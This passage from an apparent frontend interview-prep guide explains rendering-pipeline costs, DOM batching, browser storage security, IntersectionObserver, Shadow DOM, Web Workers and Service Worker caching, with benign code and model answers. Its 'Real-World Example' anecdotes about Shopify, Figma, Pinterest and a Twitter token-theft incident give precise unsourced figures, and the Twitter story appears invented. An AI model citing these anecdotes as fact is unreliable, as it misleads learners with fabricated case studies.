  2. CSS parsing -> CSSOM Tree — CSS files are parsed into the CSS Object Model. CSS is render-blocking — the browser will NOT paint anything until all CSS is parsed (to avoid a flash of unstyled content).
  3. DOM + CSSOM -> Render Tree — Combines both trees but ONLY includes visible elements. display: none elements are excluded. visibility: hidden elements ARE included (they take up space).
  4. Layout (Reflow) — Calculates the exact position and size of every element in pixels. This is expensive — changing one element’s width can cascade to reflow its parent, siblings, and children.
  5. Paint — Fills in pixels: text, colors, images, borders, shadows. Produces paint records (instructions for drawing).
  6. Composite — The browser assembles painted layers in the correct order using the GPU. Elements with transform, opacity, or will-change get their own compositor layer.
What makes a script render-blocking vs parser-blocking:
  • <script> (no attributes) — Parser-blocking. HTML parsing stops, script downloads and executes, then parsing resumes.
  • <script defer> — Downloads in parallel, executes AFTER HTML is fully parsed, BEFORE DOMContentLoaded. Execution order is preserved.
  • <script async> — Downloads in parallel, executes as soon as downloaded (pausing parser). Order is NOT guaranteed.
  • <script type="module"> — Behaves like defer by default.
What triggers expensive reflows (layout thrashing):
  • Reading offsetHeight, offsetWidth, getBoundingClientRect() after writing styles
  • Changing width, height, margin, padding, font-size
  • Adding/removing DOM elements
  • Changing display property
What only triggers repaint (cheaper): Changing color, background-color, visibility, box-shadow.What only triggers composite (cheapest): Changing transform, opacity. These are GPU-accelerated and skip layout and paint entirely.What interviewers are really testing: Do you understand the cost hierarchy (layout > paint > composite)? Can you optimize a slow page by identifying CRP bottlenecks? Senior candidates should know which CSS properties trigger which pipeline stages.Red flag answer: “Just minimize CSS and JavaScript.” That is too vague. Specific optimizations: inline critical CSS, defer scripts, use transform instead of top/left for animations, avoid layout thrashing.Follow-up questions:
  • “How would you reduce Time to First Paint on a page with 500KB of CSS?” — Extract critical CSS (above-the-fold styles, ~14KB) and inline it in <head>. Load the rest asynchronously with <link rel="preload" as="style" onload="this.rel='stylesheet'">. Tools: Critical (npm), PurgeCSS to remove unused CSS. Target: critical CSS should fit in the first TCP round-trip (~14KB compressed).
  • “Why are transform animations faster than top/left animations?”top/left changes trigger layout recalculation (reflow) on every frame — the browser must recalculate geometry for the element and potentially its neighbors. transform skips layout and paint entirely — the GPU composites the pre-painted layer at a new position. This is the difference between 5ms/frame (janky) and 0.1ms/frame (smooth 60fps).
  • “What is layout thrashing and how do you fix it?” — Layout thrashing happens when you interleave DOM reads and writes in a loop. Each read after a write forces a synchronous reflow. Fix: batch all reads first, then all writes. Or use requestAnimationFrame to defer writes to the next frame. Libraries like fastdom enforce read/write batching automatically.
Structured Answer Template (Critical Rendering Path)
  1. Walk the six-stage pipeline: parse HTML -> CSSOM -> render tree -> layout -> paint -> composite.
  2. Name the cost hierarchy: composite < paint < layout.
  3. Identify blocking resources: CSS is render-blocking, sync scripts are parser-blocking.
  4. Give two concrete wins: critical-CSS inlining and transform/opacity animations.
  5. Close with Core Web Vitals (LCP, CLS, INP) as the measurement layer.
Big Word Alert — compositor layer: a GPU-backed texture that can be translated, rotated, and blended without re-running layout or paint. Properties like transform, opacity, and will-change promote an element to its own layer — the reason those animations run at 60fps.
Big Word Alert — Largest Contentful Paint (LCP): a Core Web Vital measuring when the biggest visible element finishes painting. Below 2.5s is “good.” The CRP is what you optimize to improve it.
Real-World Example: Shopify’s storefront team moved hero-section CSS inline and deferred the rest of their stylesheet. LCP dropped from 3.2s to 1.4s on 3G connections, which measurably lifted add-to-cart conversion for mobile buyers. The same total bytes were downloaded — what changed was the ordering, because render-blocking CSS no longer gated first paint.Follow-up Q&A Chain:
  • Q: Why is transform: translateX(100px) smooth while left: 100px janks?
  • A: left runs through layout -> paint -> composite every frame. transform skips layout and paint entirely — the GPU just translates an existing texture. At 60fps you have 16.6ms per frame; layout alone can consume that budget on complex pages.
  • Q: What does will-change actually do?
  • A: It hints the browser to promote an element to its own compositor layer ahead of time. Useful for animations, but overuse blows up GPU memory — promote only what you will animate, and remove the hint afterwards.
  • Q: Where does JS parsing fit in the CRP?
  • A: Parser-blocking sync scripts halt HTML parsing, so the DOM stops growing until the script downloads and executes. defer lets parsing continue and runs the script after DOMContentLoaded. async lets parsing continue but pauses it when the script arrives, in arbitrary order.
Further Reading
Answer: The DOM is a shared mutable data structure that the browser’s layout engine watches. Every mutation can trigger style recalculation, layout, and paint. The goal is to minimize the number of mutations the browser sees.The problem — N mutations = up to N reflows:
// BAD: 1000 individual DOM mutations
// Each appendChild can trigger layout recalculation
const list = document.getElementById('list');
for (let i = 0; i < 1000; i++) {
    const li = document.createElement('li');
    li.textContent = `Item ${i}`;
    list.appendChild(li); // Triggers potential reflow each time
}
Solution 1: DocumentFragment (classic approach):
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
    const li = document.createElement('li');
    li.textContent = `Item ${i}`;
    fragment.appendChild(li); // No reflow -- fragment is not in the DOM
}
list.appendChild(fragment); // ONE reflow for all 1000 items
Solution 2: Build HTML string (faster for large inserts):
const html = Array.from({ length: 1000 },
    (_, i) => `<li>Item ${i}</li>`
).join('');
list.innerHTML = html; // ONE parse + ONE reflow
// ~3-5x faster than DocumentFragment for large inserts
// But: destroys existing children's event listeners and state
Solution 3: Off-DOM manipulation:
list.style.display = 'none'; // Remove from render tree
// Do all mutations...
list.style.display = '';      // Re-add -- ONE reflow
Solution 4: requestAnimationFrame batching:
// Batch mutations to happen just before the next paint
requestAnimationFrame(() => {
    items.forEach(item => list.appendChild(createNode(item)));
});
Modern approach — for large lists, do not render them all: For lists over ~100 items, the real answer is virtualization (see Question 54). Only render what is visible in the viewport. Libraries: react-window, tanstack-virtual, @angular/cdk/scrolling.What interviewers are really testing: Do you understand that DOM manipulation cost is about triggering reflows, not the JS overhead? Do you know multiple strategies and when to use each?Red flag answer: “I use React so I don’t need to worry about DOM manipulation.” React’s virtual DOM batches updates, but it still needs to apply them to the real DOM. Understanding why batching matters helps you write better React code (e.g., understanding why ReactDOM.flushSync exists).Follow-up questions:
  • “When is innerHTML faster than DocumentFragment, and what is the security risk?”innerHTML is faster for bulk inserts because the browser’s HTML parser is highly optimized C++ code, faster than JS-driven createElement loops. The risk: if any part of the HTML string comes from user input, you have an XSS vulnerability. Always sanitize with DOMPurify or use textContent for user-generated text.
  • “How does React’s reconciliation avoid excessive DOM mutations?” — React diffs the virtual DOM (a JS object tree) against the previous version, computing the minimal set of DOM operations needed. It batches these mutations and applies them in one synchronous flush. Keys help the diffing algorithm identify which list items moved vs were added/removed, avoiding unnecessary destroy-and-recreate cycles.
  • “What is replaceChildren() and why is it better than clearing innerHTML?”element.replaceChildren(...newNodes) atomically removes all children and appends new ones in a single operation. Unlike setting innerHTML = '' then appending, it triggers only one reflow. Unlike innerHTML, it works with DOM nodes directly (no serialization/parsing overhead) and is safe from XSS.
Structured Answer Template (DOM Manipulation)
  1. State the cost model: mutations trigger reflow, so minimize observed mutations.
  2. Offer three batching strategies: DocumentFragment, innerHTML, off-DOM (display:none).
  3. Note XSS risk with innerHTML for any user content.
  4. Pivot to the modern answer: virtualization for large lists.
Big Word Alert — reflow (layout recalculation): the browser recomputing geometry for one or more elements. Expensive because changes cascade to ancestors and descendants. Batching mutations so the browser sees one reflow instead of N is the core optimization pattern.
Real-World Example: Figma’s layers panel used to rebuild the entire list on every frame during multi-select drags, and the team tracked this down to individual appendChild calls in a hot loop. Switching to a DocumentFragment build-then-swap reduced panel update time from 30ms to 4ms per frame — the difference between visible stutter and smooth dragging on design files with thousands of layers.Follow-up Q&A Chain:
  • Q: When is innerHTML actually faster than DocumentFragment?
  • A: For bulk inserts of static markup — the HTML parser is native C++ and beats JS-driven createElement loops. But for anything touching user content, you trade speed for an XSS hole.
  • Q: Does React’s virtual DOM eliminate the need for these patterns?
  • A: React batches and minimizes DOM work, but the underlying operations are still constrained by the browser’s reflow cost. Knowing CRP is why you understand why React has flushSync, why keys matter, and why list virtualization beats rendering 10k rows.
  • Q: How do you measure a reflow in DevTools?
  • A: Chrome Performance tab records “Layout” events with their trigger. You can also read performance.now() around a mutation to time the forced sync layout.
Further Reading
Answer: Three client-side storage mechanisms, each with different lifetimes, capacities, and server visibility. Choosing wrong can cause security vulnerabilities or performance problems.
FeaturelocalStoragesessionStorageCookies
Capacity5-10MB (varies by browser)5MB4KB per cookie, ~50 cookies per domain
LifetimePermanent (until cleared)Tab/window closeManual (Expires/Max-Age) or session
Server accessClient-only (JS API)Client-only (JS API)Sent on EVERY HTTP request to that domain
ScopeSame origin (protocol + domain + port)Same origin + same tabDomain + path (configurable)
APIsetItem/getItem (sync)setItem/getItem (sync)document.cookie (string parsing) or Set-Cookie header
Cross-tabYes (same origin)No (tab-isolated)Yes
The critical security considerations:
  • Never store sensitive data in localStorage — it is accessible to any JS on the page, including XSS payloads. No expiration means a stolen token lives forever.
  • Cookies for auth tokens must use HttpOnly (no JS access), Secure (HTTPS only), SameSite=Strict/Lax (CSRF protection).
  • sessionStorage is the safest for temporary sensitive data — it is tab-isolated and auto-clears.
Performance gotcha with cookies: Every cookie on the domain is sent with EVERY HTTP request — images, CSS, scripts, API calls. 10 cookies of 4KB = 40KB of overhead on every request. This is why you should use a cookie-free domain for static assets (e.g., static.example.com).
// Cross-tab communication via localStorage
// Tab 1: Write
localStorage.setItem('theme', 'dark');

// Tab 2: Listen for changes from other tabs
window.addEventListener('storage', (e) => {
    if (e.key === 'theme') {
        applyTheme(e.newValue); // 'dark'
    }
});
// Note: the 'storage' event does NOT fire in the tab that made the change

// Modern alternative for cross-tab communication: BroadcastChannel
const channel = new BroadcastChannel('app-events');
channel.postMessage({ type: 'THEME_CHANGE', theme: 'dark' });
channel.onmessage = (e) => applyTheme(e.data.theme);
What interviewers are really testing: Do you know the security implications of each? Do you understand that cookies have network overhead? Senior candidates should mention HttpOnly, SameSite, and explain why JWTs in localStorage is a security anti-pattern.Red flag answer: “I store the auth token in localStorage because it’s easier.” This is an XSS vulnerability. Any injected script can localStorage.getItem('token') and exfiltrate it. HttpOnly cookies are not accessible via JS.Follow-up questions:
  • “Where should you store a JWT? localStorage, cookie, or sessionStorage?” — The safest approach: store the JWT in an HttpOnly, Secure, SameSite=Strict cookie. JS cannot access it (XSS-proof), and it is sent automatically with requests. If you must use localStorage (e.g., for a cross-domain SPA), use short-lived access tokens (15 min) with refresh token rotation in HttpOnly cookies. Never store long-lived tokens in localStorage.
  • “What are the synchronous performance implications of localStorage?”localStorage.getItem() is a synchronous I/O call that blocks the main thread. On some browsers/devices, this can take 5-50ms, especially if the storage is large. Never call it in a hot rendering path. Read values once at app startup and cache them in memory. For large data, use IndexedDB (async).
  • “How would you implement cross-tab state synchronization?” — Three approaches: (1) storage event on localStorage — simple, limited to string data. (2) BroadcastChannel API — supports structured data, cleaner API. (3) SharedWorker — a Web Worker shared across tabs, can maintain centralized state. For complex apps, libraries like zustand have persist middleware that handles cross-tab sync via storage events.
Structured Answer Template (Client Storage)
  1. Lead with the trade-off table: capacity, lifetime, server visibility, scope.
  2. Pick for a real use case (auth token, user prefs, analytics queue).
  3. Name the security flags for cookies: HttpOnly, Secure, SameSite.
  4. Flag the two footguns: XSS reads localStorage, cookies inflate every request.
  5. Finish with the “use IndexedDB for anything non-trivial” rule.
Big Word Alert — HttpOnly cookie: a cookie flag that forbids JavaScript from reading it (document.cookie cannot see it). The single most important defense against XSS stealing an auth token.
Big Word Alert — SameSite attribute: a cookie policy (Strict, Lax, None) that decides whether the cookie is sent on cross-site requests. Core CSRF mitigation.
Real-World Example: Early Twitter stored its auth token in localStorage for SPA convenience. When a single XSS in a third-party analytics script fired, attackers exfiltrated thousands of tokens before the incident was contained. Moving to HttpOnly+Secure+SameSite=Strict cookies made the same class of XSS unable to read the token at all — a systemic fix, not a per-bug patch.Follow-up Q&A Chain:
  • Q: Can a subdomain read a cookie set on the parent domain?
  • A: Only if the cookie was set with Domain=example.com. Default scope is the exact host that set it. Beware of Domain=.example.com — it leaks to every subdomain, including compromised ones.
  • Q: Why is localStorage synchronous bad for performance?
  • A: getItem/setItem block the main thread with disk I/O. On a cold tab with a large store, this can cost 50ms+. Read once at startup, cache in memory, and prefer IndexedDB (async) for anything larger than a few KB.
  • Q: When should I pick BroadcastChannel over the storage event?
  • A: Any time the message is not a persistent key/value. BroadcastChannel supports structured data, including objects and Transferables, has a cleaner listener API, and does not trigger storage writes.
Further Reading
Answer: IntersectionObserver is an async, non-blocking API that tells you when an element enters or exits the viewport (or a specified container). It replaced the terrible old pattern of attaching a scroll event listener and calling getBoundingClientRect() on every scroll tick.Why it is better than scroll listeners:
  • scroll + getBoundingClientRect() runs on the main thread, causes layout thrashing (reading geometry forces reflow), and fires 30-120 times per second
  • IntersectionObserver runs off the main thread, uses the compositor’s information, and batches callbacks efficiently. Zero layout thrashing.
// Lazy loading images -- the production pattern
const observer = new IntersectionObserver((entries, observer) => {
    entries.forEach(entry => {
        if (entry.isIntersecting) {
            const img = entry.target;
            img.src = img.dataset.src;          // Load the real image
            img.removeAttribute('data-src');
            observer.unobserve(img);            // Stop observing once loaded
        }
    });
}, {
    rootMargin: '200px',  // Start loading 200px before entering viewport
    threshold: 0          // Trigger as soon as even 1px is visible
});

document.querySelectorAll('img[data-src]').forEach(img => observer.observe(img));

// Note: Modern browsers support native lazy loading:
// <img src="photo.jpg" loading="lazy" />
// But IntersectionObserver gives you more control (rootMargin, custom logic)
// Infinite scroll -- load more when sentinel enters viewport
const sentinel = document.getElementById('scroll-sentinel');
const observer = new IntersectionObserver(async ([entry]) => {
    if (entry.isIntersecting) {
        const moreItems = await fetchNextPage();
        appendItems(moreItems);
        if (noMorePages) observer.disconnect();
    }
});
observer.observe(sentinel);
Advanced: Scroll-driven animations:
// Track how much of an element is visible (e.g., progress bar)
const observer = new IntersectionObserver((entries) => {
    entries.forEach(entry => {
        const ratio = entry.intersectionRatio; // 0.0 to 1.0
        entry.target.style.opacity = ratio;    // Fade in as scrolled into view
    });
}, {
    threshold: Array.from({ length: 101 }, (_, i) => i / 100) // Fire at every 1% step
});
What interviewers are really testing: Do you know the performance advantages over scroll listeners? Do you understand rootMargin and threshold options? Senior candidates should mention that this is the foundation for lazy loading, infinite scroll, and scroll-triggered animations.Red flag answer: Using scroll + getBoundingClientRect() in 2024+ for any intersection detection. Also: not calling unobserve() after a one-time action (lazy load), causing the observer to track elements forever.Follow-up questions:
  • “How does rootMargin work and why is it important for lazy loading?”rootMargin expands or shrinks the root’s bounding box for intersection calculation. rootMargin: '200px' means the observer triggers 200px before the element enters the viewport. This gives images a head start on loading so they are ready by the time the user scrolls to them. Without it, users see a flash of empty space.
  • “What is the difference between IntersectionObserver and ResizeObserver?”IntersectionObserver tracks visibility (is an element in the viewport?). ResizeObserver tracks size changes (did an element’s dimensions change?). Use ResizeObserver for responsive components that need to know their own size (e.g., chart libraries), container queries, or detecting when a sidebar is collapsed.
  • “Can IntersectionObserver track elements inside a scrollable container (not the viewport)?” — Yes. Set the root option to the scrollable container element. By default, root: null uses the viewport. Setting root: document.querySelector('.scroll-container') tracks intersection relative to that container’s visible area.
Structured Answer Template (IntersectionObserver)
  1. Frame the problem: scroll + getBoundingClientRect causes layout thrashing.
  2. Explain why IO is async and off-main-thread.
  3. Show three use cases: lazy images, infinite scroll sentinel, scroll-driven animation.
  4. Name rootMargin and threshold and their real-world impact.
  5. Close with unobserve discipline and alternatives (ResizeObserver, loading="lazy").
Big Word Alert — rootMargin: a margin added around the observer’s root for intersection calculations. Positive values expand (trigger earlier), negative values shrink (trigger later). rootMargin: '200px' on a lazy-load observer pre-fetches images 200px before they scroll into view.
Real-World Example: Pinterest’s feed uses IntersectionObserver to fire analytics “pin-viewed” events. Before IO, they used a scroll listener with bounding-rect checks, and the analytics queue itself was pinning the main thread at 30-40% CPU on mid-range Android devices. Switching to IO with threshold: 0.5 (at least half visible) cut the CPU cost by roughly 10x and gave them more accurate view counts.Follow-up Q&A Chain:
  • Q: IO does not seem to fire for elements initially in the viewport. Why?
  • A: It does — IO fires once for the initial state as soon as observation begins. If you are not seeing it, you are probably observing before the element has layout, or the element is display: none (IO ignores non-rendered elements).
  • Q: How do you make threshold track continuous scroll progress, not just a binary in/out?
  • A: Pass an array of thresholds: threshold: [0, 0.25, 0.5, 0.75, 1.0] or a dense range Array.from(&lcub;length: 101&rcub;, (_, i) => i/100). The callback fires at each crossing with the current intersectionRatio.
  • Q: What’s the main-thread cost of observing 10,000 elements?
  • A: Near zero for observation itself — IO uses compositor info and batches callbacks. Cost shows up only inside your callback. Keep callback work minimal; defer heavy work with requestIdleCallback.
Further Reading
Answer: Shadow DOM provides true CSS and DOM encapsulation at the browser level — styles inside do not leak out, global styles do not leak in. It is the foundation of Web Components, which let you create reusable custom HTML elements.The encapsulation problem it solves: In a large application, CSS class names collide, styles override each other unexpectedly, and third-party widgets break your layout. CSS Modules and BEM are conventions; Shadow DOM is a browser-enforced boundary.
// Creating a Web Component with Shadow DOM
class UserCard extends HTMLElement {
    constructor() {
        super();
        // 'open' mode: accessible via element.shadowRoot
        // 'closed' mode: shadowRoot returns null (true encapsulation)
        const shadow = this.attachShadow({ mode: 'open' });

        shadow.innerHTML = `
            <style>
                /* These styles are SCOPED -- they cannot affect anything
                   outside this shadow root */
                .card { border: 1px solid #ccc; padding: 16px; border-radius: 8px; }
                h2 { color: blue; margin: 0; }
                /* Even if the page has h2 { color: red; }, this h2 stays blue */
            </style>
            <div class="card">
                <h2><slot name="name">Default Name</slot></h2>
                <p><slot>Default content</slot></p>
            </div>
        `;
    }
}
customElements.define('user-card', UserCard);

// Usage in HTML:
// <user-card>
//   <span slot="name">Alice</span>
//   <span>Software Engineer</span>
// </user-card>
Shadow DOM vs React/Vue component encapsulation:
  • React/Vue: CSS encapsulation is convention-based (CSS Modules, scoped styles). The DOM is shared.
  • Shadow DOM: Browser-enforced encapsulation. Styles are truly isolated. But: forms, accessibility, and event delegation can be tricky across the shadow boundary.
When Shadow DOM is the right choice: Design systems consumed by multiple frameworks (Lit, Stencil), embedded widgets (chat, payment forms), and micro-frontends where style isolation is critical.What interviewers are really testing: Do you understand DOM encapsulation beyond framework-level solutions? Can you explain slots and the Light DOM vs Shadow DOM distinction?Red flag answer: “Web Components replace React.” They solve different problems. React provides state management, virtual DOM diffing, and an ecosystem. Web Components provide encapsulation and framework-agnostic custom elements. Many teams use both.Follow-up questions:
  • “How do events cross the Shadow DOM boundary?” — Events that originate inside Shadow DOM are retargeted: outside the shadow root, event.target points to the host element, not the internal element that triggered it. Most events bubble through the shadow boundary, but some (like focus, blur) do not by default. You can enable it with composed: true on custom events.
  • “What are the accessibility challenges with Shadow DOM?” — Screen readers handle Shadow DOM well in modern browsers, but there are edge cases: ARIA attributes on the host do not automatically connect to elements inside the shadow root. Labels and for attributes do not cross the boundary. You need to use aria-labelledby with slotted content or manage focus explicitly.
  • “How does CSS custom properties (--var) interact with Shadow DOM?” — CSS custom properties (variables) are the ONE thing that penetrates the shadow boundary. This is by design — it allows theming. The host page sets --primary-color: blue, and the shadow component can use color: var(--primary-color). This is the recommended way to theme Web Components.
Structured Answer Template (Shadow DOM / Web Components)
  1. State the problem: CSS/DOM encapsulation across framework boundaries.
  2. Describe the four pillars: Custom Elements, Shadow DOM, HTML Templates, ES Modules.
  3. Show slot-based composition for distributed content.
  4. Contrast with React/Vue scoped styling (convention vs browser-enforced).
  5. Close with accessibility caveats and CSS custom properties as the theming escape hatch.
Big Word Alert — slot: a placeholder in a Shadow DOM tree where light-DOM children of the host get projected. &lt;slot&gt; is how Web Components support children without breaking encapsulation.
Big Word Alert — event retargeting: when an event from inside a shadow root bubbles outside, event.target gets rewritten to the host element (not the internal node) to preserve encapsulation.
Real-World Example: Adobe’s Spectrum design system ships as Web Components so the same button works inside React, Angular, and vanilla apps across Adobe properties. Before Web Components, they maintained three parallel design-system codebases. Encapsulated CSS meant host-page styles could not accidentally break a dropdown’s z-index layering across product teams.Follow-up Q&A Chain:
  • Q: Why can’t I style ::before on a slotted element from outside?
  • A: Slotted elements stay in the light DOM but render in the shadow tree. From outside, you can only style them with selectors that target them as light-DOM children; pseudo-elements inside the shadow tree are unreachable without ::part() / ::slotted() or CSS custom properties.
  • Q: What is the difference between open and closed shadow roots?
  • A: Open roots are reachable via element.shadowRoot. Closed roots return null, giving stronger encapsulation — but also breaking dev tools and testing. Use closed sparingly.
  • Q: Do Web Components hydrate in SSR?
  • A: Declarative Shadow DOM (now widely supported) lets the server emit &lt;template shadowrootmode="open"&gt; markup and the browser attaches the shadow root during parsing — no JS hydration needed for the initial render.
Further Reading
Answer: Web Workers run JavaScript on a separate OS thread, giving you true parallelism in the browser. The main thread stays responsive for UI while the worker does heavy computation. This is not faked concurrency like the event loop — it is real multi-threading with separate memory spaces.How communication works: Workers cannot access the DOM, window, or any shared memory (by default). Communication is via postMessage, which uses the structured clone algorithm to copy data between threads. This means the data is serialized and deserialized — there is overhead proportional to data size.
// main.js
const worker = new Worker('worker.js');

worker.postMessage({ type: 'PROCESS', data: largeDataset });

worker.onmessage = (e) => {
    console.log('Result:', e.data);
    updateUI(e.data); // Back on main thread, safe to touch DOM
};

worker.onerror = (e) => {
    console.error('Worker error:', e.message);
};

// worker.js
self.onmessage = (e) => {
    if (e.data.type === 'PROCESS') {
        const result = heavyComputation(e.data.data); // Runs in background
        self.postMessage(result);
    }
};
Types of workers:
  • Dedicated Worker (new Worker()) — One worker per creator. Most common.
  • Shared Worker (new SharedWorker()) — Shared across tabs/iframes on same origin. Good for centralized WebSocket connections or shared state.
  • Service Worker — Network proxy (see next question). Different lifecycle and purpose.
Transferable Objects — avoiding the copy overhead:
// BAD: Copying a 100MB ArrayBuffer takes ~50ms
worker.postMessage(buffer); // Structured clone -- data is COPIED

// GOOD: Transferring ownership takes ~0ms
worker.postMessage(buffer, [buffer]); // Transfer -- data MOVES to worker
// buffer.byteLength === 0 now -- main thread no longer owns it
// The worker gets the original memory without copying
Real-world use cases:
  • Image processing (applying filters to photos — Figma uses this extensively)
  • Parsing large JSON/CSV files without freezing the UI
  • Crypto operations (hashing, encryption)
  • WebAssembly execution (run C++/Rust code in a worker)
  • Off-main-thread syntax highlighting (CodeMirror, Monaco editor)
What interviewers are really testing: Do you understand the difference between concurrency (event loop) and parallelism (workers)? Do you know the communication overhead and how to minimize it with Transferable Objects?Red flag answer: “Workers can access the DOM.” They cannot. Also: not knowing about the serialization cost of postMessage — sending 50MB of data to a worker defeats the purpose if the copy takes longer than the computation.Follow-up questions:
  • “When would you NOT use a Web Worker?” — When the computation takes less than ~16ms (one frame). The overhead of serializing data, posting a message, and deserializing in the worker exceeds the computation time for small tasks. Also avoid for tasks that need DOM access, as you would need to serialize DOM state back and forth. The overhead crossover point is roughly 50ms of computation.
  • “What is SharedArrayBuffer and how does it differ from postMessage?”SharedArrayBuffer creates shared memory accessible by both the main thread and workers simultaneously — no copying. You use Atomics for synchronization (compare-and-swap, wait/notify). It is disabled by default due to Spectre vulnerabilities and requires Cross-Origin-Isolation headers (COOP/COEP). Use it for high-performance parallel computation (physics simulations, video processing).
  • “How would you architect a worker pool for a CPU-intensive web app?” — Create N workers (typically navigator.hardwareConcurrency threads). Maintain a task queue in the main thread. When a worker finishes and sends its result, dequeue the next task and send it to that worker. Libraries like workerpool or comlink (by the Chrome team) handle this with a nicer API. Comlink also uses Proxy to make worker functions feel like regular async function calls.
What weak candidates say:
  • “Workers can access the DOM.” They cannot.
  • Do not know about the serialization cost of postMessage or Transferable objects.
  • Think Web Workers and Service Workers are the same thing.
  • Cannot articulate when the overhead of creating a Worker outweighs the benefit (tasks under ~16ms).
What strong candidates say:
  • Clearly distinguish concurrency (event loop, single-threaded cooperative multitasking) from parallelism (Web Workers, true multi-threading with separate memory spaces).
  • Know the three worker types (Dedicated, Shared, Service) and when to use each.
  • Explain Transferable objects (ArrayBuffer, OffscreenCanvas, MessagePort) and why transferring instead of cloning eliminates the serialization bottleneck for large data.
  • Mention SharedArrayBuffer + Atomics for zero-copy shared memory (with the caveat of Cross-Origin Isolation requirements due to Spectre).
  • Can describe a real scenario where they moved computation off the main thread: “We moved image resizing to a Web Worker with OffscreenCanvas. The main thread stayed responsive during batch uploads of 50 photos. Processing went from 45 seconds of frozen UI to 12 seconds with a progress bar.”
Follow-up chain:
  1. “Can you use ES module import syntax inside a Web Worker?” — Yes, with new Worker('worker.js', { type: 'module' }). The worker can use static import statements. This is supported in modern browsers (Chrome 80+, Firefox 114+, Safari 15+). Without type: 'module', you must use importScripts() which is synchronous and does not support ESM.
  2. “How would you handle a Worker that crashes (throws an unhandled error)?” — Listen for the error event on the Worker: worker.onerror = (e) => { restartWorker(); retryTask(); }. The worker terminates on unhandled errors. Your pool should detect this, create a replacement worker, and re-queue the failed task. Set a retry limit to avoid infinite crash loops. Log the error with full context for debugging.
  3. “When would you choose SharedArrayBuffer over postMessage with Transferable objects?” — Use SharedArrayBuffer when multiple workers need simultaneous read access to the same large dataset (e.g., a 50MB document buffer for syntax highlighting, linting, and autocomplete workers). Use Transferable when ownership needs to move between threads (one writer at a time). SharedArrayBuffer requires Cross-Origin Isolation headers and Atomics for synchronization, making it significantly more complex.
Structured Answer Template (Web Workers)
  1. Distinguish concurrency (event loop) from parallelism (workers).
  2. Cover the three types: Dedicated, Shared, Service.
  3. Name the communication cost: structured clone unless you use Transferable.
  4. List real workloads that belong off-main: image processing, parse, crypto, Wasm.
  5. Close with Comlink as the ergonomic wrapper and the “don’t use for <16ms tasks” rule.
Big Word Alert — Transferable object: a value whose ownership moves to the receiver instead of being copied. ArrayBuffer, MessagePort, OffscreenCanvas, ImageBitmap. Zero-copy message passing across threads.
Big Word Alert — structured clone algorithm: the serialization that backs postMessage, IndexedDB, and History state. Supports most JS types, but not functions, DOM nodes, or Error subclasses. Size of payload is proportional to copy time.
Real-World Example: Figma moved its entire rendering and parsing pipeline into a Web Worker backed by WebAssembly. The main thread’s only job is input and rendering the final bitmap; Figma’s C++ scene graph runs in the worker. This is why Figma stays 60fps on documents that would crash a DOM-bound app.Follow-up Q&A Chain:
  • Q: How do you debug a Worker crashing on production only?
  • A: Attach a global onerror handler in the worker and postMessage a serialized error back. In the main thread, wire worker.onerror and worker.onmessageerror to your telemetry pipeline.
  • Q: Can Web Workers make HTTP requests?
  • A: Yes — fetch is available, as are WebSocket, IndexedDB, and importScripts. DOM APIs are forbidden, but most network and storage APIs are not.
  • Q: When would you pick OffscreenCanvas over a canvas in the main thread?
  • A: Any time rendering is the bottleneck. OffscreenCanvas is a Transferable canvas that runs entirely in the worker — the worker can draw at 60fps while the main thread handles input, and the result composites without a copy.
Further Reading
Answer: A Service Worker is a programmable network proxy that sits between your web app and the network. It intercepts every network request and lets you decide: serve from cache? Fetch from network? Return a custom response? This enables offline support, background sync, and push notifications — the core of Progressive Web Apps (PWAs).Lifecycle — this is critical and often misunderstood:
  1. Register — Main page calls navigator.serviceWorker.register('/sw.js'). The browser downloads and parses the SW script.
  2. Install — Fires once. This is where you pre-cache critical assets (app shell, fonts, CSS). If caching fails, installation fails and the SW is discarded.
  3. Wait — The new SW waits until ALL tabs using the old SW are closed. This prevents breaking active sessions. (You can skip waiting with self.skipWaiting(), but be careful.)
  4. Activate — Fires once the SW takes control. Clean up old caches here. Call clients.claim() to take control of existing tabs immediately.
  5. Fetch — For every network request, the fetch event fires and you decide the caching strategy.
// sw.js -- Cache-first strategy with network fallback
const CACHE_NAME = 'app-v2';
const PRECACHE_URLS = ['/', '/index.html', '/app.css', '/app.js'];

self.addEventListener('install', (e) => {
    e.waitUntil(
        caches.open(CACHE_NAME)
            .then(cache => cache.addAll(PRECACHE_URLS))
    );
    self.skipWaiting();
});

self.addEventListener('activate', (e) => {
    e.waitUntil(
        caches.keys().then(keys =>
            Promise.all(keys
                .filter(key => key !== CACHE_NAME)
                .map(key => caches.delete(key)) // Clean old caches
            )
        )
    );
    clients.claim();
});

self.addEventListener('fetch', (e) => {
    e.respondWith(
        caches.match(e.request).then(cached => {
            return cached || fetch(e.request).then(response => {
                // Cache new responses for next time
                const clone = response.clone();
                caches.open(CACHE_NAME).then(cache => cache.put(e.request, clone));
                return response;
            });
        })
    );
});
Common caching strategies:
  • Cache First — Check cache, fallback to network. Best for static assets (CSS, JS, images).
  • Network First — Try network, fallback to cache. Best for API data that should be fresh.
  • Stale While Revalidate — Serve from cache immediately, update cache from network in background. Best for content that should load fast but stay fresh.
  • Network Only — Never cache. For non-idempotent requests (POST, payments).
What interviewers are really testing: Do you understand the lifecycle, especially the “waiting” phase that confuses most developers? Can you choose the right caching strategy for different resource types?Red flag answer: “Service workers make your site work offline.” They can, but only if you implement the caching logic correctly. A registered service worker with no fetch handler does nothing for offline support.Follow-up questions:
  • “A user reports they are seeing stale content after you deployed a new version. How do you debug?” — The old service worker is still active (the “waiting” phase). The user has not closed all tabs, so the new SW has not activated. Check chrome://serviceworker-internals or Application tab in DevTools. Solutions: implement a “new version available” banner that calls registration.waiting.postMessage({type: 'SKIP_WAITING'}), or use versioned cache names and clean up old caches in the activate event.
  • “What is the difference between cache.addAll() and cache.put()?”addAll takes an array of URLs, fetches them all, and stores the responses. If ANY fetch fails, the entire operation fails (atomic). put stores a single request/response pair that you already have. Use addAll for precaching during install, put for runtime caching in the fetch handler.
  • “How do push notifications work with Service Workers?” — The SW registers with a Push Service (via pushManager.subscribe()), which returns an endpoint URL. Your server sends a push message to that endpoint. The Push Service delivers it to the browser, which wakes up the SW (even if the app is closed) and fires a push event. The SW must show a notification (self.registration.showNotification()). Browsers require user permission and a visible notification for each push — silent background pushes are not allowed.
Structured Answer Template (Service Workers)
  1. Define the SW as a programmable network proxy (not just “offline magic”).
  2. Walk the five-stage lifecycle: register, install, wait, activate, fetch.
  3. Cover the four caching strategies: cache-first, network-first, SWR, network-only.
